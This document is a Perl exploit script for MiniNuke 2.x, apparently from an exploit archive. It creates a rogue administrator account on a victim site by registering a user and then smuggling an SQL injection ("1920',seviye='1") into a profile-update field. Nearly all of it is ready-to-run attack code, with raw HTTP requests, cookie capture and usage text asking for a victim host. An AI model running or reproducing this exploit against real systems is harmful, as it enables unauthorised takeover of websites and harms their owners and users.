=========================================================== MiniNuke 2.x (create an admin) Remote SQL Injection Exploit =========================================================== #!/usr/bin/perl #Method found & Exploit scripted by nukedx #Contacts > ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com #Original advisory: http://www.nukedx.com/?viewdoc=31 #Usage: mini.pl use IO::Socket; if(@ARGV != 5) { usage(); } else { exploit(); } sub header() { print "\n- NukedX Security Advisory Nr.2006-31\r\n"; print "- MiniNuke v2.x Remote SQL Injection (create an admin) Exploit\r\n"; } sub usage() { header(); print "- Usage: $0 \r\n"; print "- -> Victim's host ex: www.victim.com\r\n"; print "- -> Path to MiniNuke ex: /mininuke/\r\n"; print "- -> Desired username to create ex: h4x0r\r\n"; print "- -> Password for our username ex: p4ZZw0rd\r\n"; print "- -> Mail for our username ex: hax0r\@s3x0r3d.com\r\n"; exit(); } sub exploit () { #Our variables... $mnserver = $ARGV[0]; $mnserver =~ s/(http:\/\/)//eg; $mnhost = "http://".$mnserver; $mndir = $ARGV[1]; $mnuser = $ARGV[2]; $mnpass = $ARGV[3]; $mnmail = $ARGV[4]; $mnport = "80"; #Sending data... header(); print "- Trying to connect: $mnserver\r\n"; getsession(); } sub getsession () { print "- Getting session for register...\r\n"; $mnstar = "membership.asp?action=new"; $mnsreq = $mnhost.$mndir.$mnstar; $mns = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$mnserver", PeerPort => "$mnport") || die "- Connection failed...\r\n"; print $mns "GET $mnsreq HTTP/1.1\n"; print $mns "Accept: */*\n"; print $mns "Referer: $mnhost\n"; print $mns "Accept-Language: tr\n"; print $mns "User-Agent: NukeZilla\n"; print $mns "Cache-Control: no-cache\n"; print $mns "Host: $mnserver\n"; print $mns "Connection: close\n\n"; print "- Connected...\r\n"; while ($answer = <$mns>) { if ($answer =~ /Set-Cookie: (.*?) path=\//) { $mncookie = $mncookie.$1; } if ($answer =~ /G?venlik Kodunuz<\/td>(.*?)<\/b><\/td>/) { $mngvn=$1;doregister(); } } #if you are here... die "- Exploit failed\r\n"; } sub doregister () { close($mns); $mntar = "membership.asp?action=register"; $mnreq = $mnhost.$mndir.$mntar; print "- Session getting done\r\n"; print "- Lets create our user...\r\n"; $mndata = "kuladi=".$mnuser; $mndata.= "&password=".$mnpass; $mndata.= "&email=".$mnmail; $mndata.= "&isim=h4x0r"; $mndata.= "&g_soru=whooooo"; $mndata.= "&g_cevap=h4x0rs"; $mndata.= "&icq=1"; $mndata.= "&msn=1"; $mndata.= "&aim=1"; $mndata.= "&sehir=1"; $mndata.= "&meslek=1"; $mndata.= "&cinsiyet=b"; $mndata.= "&yas_1=1"; $mndata.= "&yas_2=1"; $mndata.= "&yas_3=1920"; $mndata.= "&web=http://www.milw0rm.com"; $mndata.= "&imza=h4x0r"; $mndata.= "&mavatar=IMAGES/avatars/1.gif"; $mndata.= "&security_code=".$mngvn; $mndata.= "&mail_goster=on"; $mndatalen = length($mndata); $mn = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$mnserver", PeerPort => "$mnport") || die "- Connection failed...\r\n"; print $mn "POST $mnreq HTTP/1.1\r\n"; print $mn "Accept: */*\r\n"; print $mn "Referer: $mnhost\r\n"; print $mn "Accept-Language: tr\r\n"; print $mn "Content-Type: application/x-www-form-urlencoded\r\n"; print $mn "Accept-Encoding: gzip, deflate\r\n"; print $mn "User-Agent: NukeZilla\r\n"; print $mn "Cookie: $mncookie\r\n"; print $mn "Host: $mnserver\r\n"; print $mn "Content-length: $mndatalen\r\n"; print $mn "Connection: Keep-Alive\r\n"; print $mn "Cache-Control: no-cache\r\n\r\n"; print $mn $mndata; print $mn "\r\n\r\n"; while ($answer = <$mn>) { if ($answer =~ /Tebrikler !!!/) { print "- Creating user has been done...\r\n"; print "- Loginning in to user...\r\n"; dologin(); } } #if you are here... die "- Exploit failed\r\n"; } sub dologin () { close ($mn); $mnltar = "enter.asp"; $mnlreq = $mnhost.$mndir.$mnltar; $mnldata = "kuladi=".$mnuser; $mnldata.= "&password=".$mnpass; $mnldata.= "&guvenlik=423412"; $mnldata.= "&gguvenlik=423412"; $mnldatalen = length($mnldata); $mnl = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$mnserver", PeerPort => "$mnport") || die "- Connection failed...\r\n"; print $mnl "POST $mnlreq HTTP/1.1\r\n"; print $mnl "Accept: */*\r\n"; print $mnl "Referer: $mnhost\r\n"; print $mnl "Accept-Language: tr\r\n"; print $mnl "Content-Type: application/x-www-form-urlencoded\r\n"; print $mnl "Accept-Encoding: gzip, deflate\r\n"; print $mnl "User-Agent: NukeZilla\r\n"; print $mnl "Host: $mnserver\r\n"; print $mnl "Content-length: $mnldatalen\r\n"; print $mnl "Connection: Keep-Alive\r\n"; print $mnl "Cache-Control: no-cache\r\n\r\n"; print $mnl $mnldata; print $mnl "\r\n\r\n"; while ($answer = <$mnl>) { if ($answer =~ /Set-Cookie: (.*?) path=\//) { $mnlcookie = $mnlcookie.$1; } if ($answer =~ /Cache-control:/) { doadmin(); } } #if you are here... die "- Exploit failed\r\n"; } sub doadmin () { close($mnl); print "- Editing profile..\r\n"; $mnptar = "Your_Account.asp?op=UpdateProfile"; $mnpreq = $mnhost.$mndir.$mnptar; $mnpdata.= "email=".$mnmail; $mnpdata.= "&isim=h4x0r"; $mnpdata.= "&g_soru=whooooo"; $mnpdata.= "&g_cevap=h4x0rs"; $mnpdata.= "&icq=1"; $mnpdata.= "&msn=1"; $mnpdata.= "&aim=1"; $mnpdata.= "&sehir=1"; $mnpdata.= "&meslek=1"; $mnpdata.= "&cinsiyet=b"; $mnpdata.= "&yas_1=1"; $mnpdata.= "&yas_2=1"; $mnpdata.= "&yas_3=1920',seviye='1"; $mnpdata.= "&web=http://www.milw0rm.com"; $mnpdata.= "&imza=h4x0r"; $mnpdata.= "&mavatar=IMAGES/avatars/1.gif"; $mnpdata.= "&mail_goster=on"; $mnpdatalen = length($mnpdata); $mnp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$mnserver", PeerPort => "$mnport") || die "- Connection failed...\r\n"; print $mnp "POST $mnpreq HTTP/1.1\r\n"; print $mnp "Accept: */*\r\n"; print $mnp "Referer: $mnhost\r\n"; print $mnp "Accept-Language: tr\r\n"; print $mnp "Content-Type: application/x-www-form-urlencoded\r\n"; print $mnp "Accept-Encoding: gzip, deflate\r\n"; print $mnp "User-Agent: NukeZilla\r\n"; print $mnp "Cookie: $mnlcookie\r\n"; print $mnp "Host: $mnserver\r\n"; print $mnp "Content-length: $mnpdatalen\r\n"; print $mnp "Connection: Keep-Alive\r\n"; print $mnp "Cache-Control: no-cache\r\n\r\n"; print $mnp $mnpdata; print $mn "\r\n\r\n"; while ($answer = <$mnp>) { if ($answer =~ /Tebrikler !!!/) { print "- Editing profile been done...\r\n"; print "- Exploiting finished succesfully\r\n"; print "- Your username $mnuser has been created as admin\r\n"; print "- You can login with password $mnpass on $mnlreq\r\n"; exit(); } if ($answer =~ /?yeler A??kt?r/) { print "- Exploit failed\r\n"; exit(); } } #if you are here... die "- Exploit failed\r\n"; } # 0day.today [2017-12-31] #

Query Builder